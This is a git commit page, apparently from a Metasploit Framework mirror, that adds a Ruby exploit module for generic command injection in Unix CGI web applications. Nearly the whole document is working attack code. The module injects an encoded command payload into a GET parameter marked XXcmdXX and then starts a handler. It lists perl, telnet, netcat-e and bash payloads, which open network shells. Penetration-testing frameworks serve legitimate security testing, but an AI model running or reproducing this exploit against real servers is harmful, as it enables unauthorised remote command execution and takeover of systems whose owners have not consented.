Add a quick module for exploiting basic web cmd injection
git-svn-id: file:///home/svn/framework3/trunk@10624 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
87d7368166
commit
a3ad8f5061
|
@ -0,0 +1,86 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Generic Web Application Unix Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module can be used to exploit any generic command execution vulnerability
|
||||||
|
for CGI applications on Unix-like platforms. To use this module, specify the
|
||||||
|
CMDURI path, replacing the command itself with XXcmdXX. This module is currently
|
||||||
|
limited to forms vulnerable through GET requests with query parameters.
|
||||||
|
},
|
||||||
|
'Author' => [ 'hdm' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Space' => 1024,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic perl telnet netcat-e bash',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Oct 09 2010',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
uri = datastore['CMDURI'].to_s
|
||||||
|
uri,query = uri.split('?', 2)
|
||||||
|
|
||||||
|
if query
|
||||||
|
query = query.split('&').map{|var|
|
||||||
|
k,v = var.split('=', 2)
|
||||||
|
Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
|
||||||
|
}.join('&')
|
||||||
|
uri = uri + '?' + query
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending HTTP request for #{uri}")
|
||||||
|
res = send_request_cgi( {
|
||||||
|
'global' => true,
|
||||||
|
'uri' => uri
|
||||||
|
}, 30)
|
||||||
|
|
||||||
|
if res
|
||||||
|
print_status("The server responded with HTTP CODE #{res.code}")
|
||||||
|
else
|
||||||
|
print_status("The server did not respond to our request")
|
||||||
|
end
|
||||||
|
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue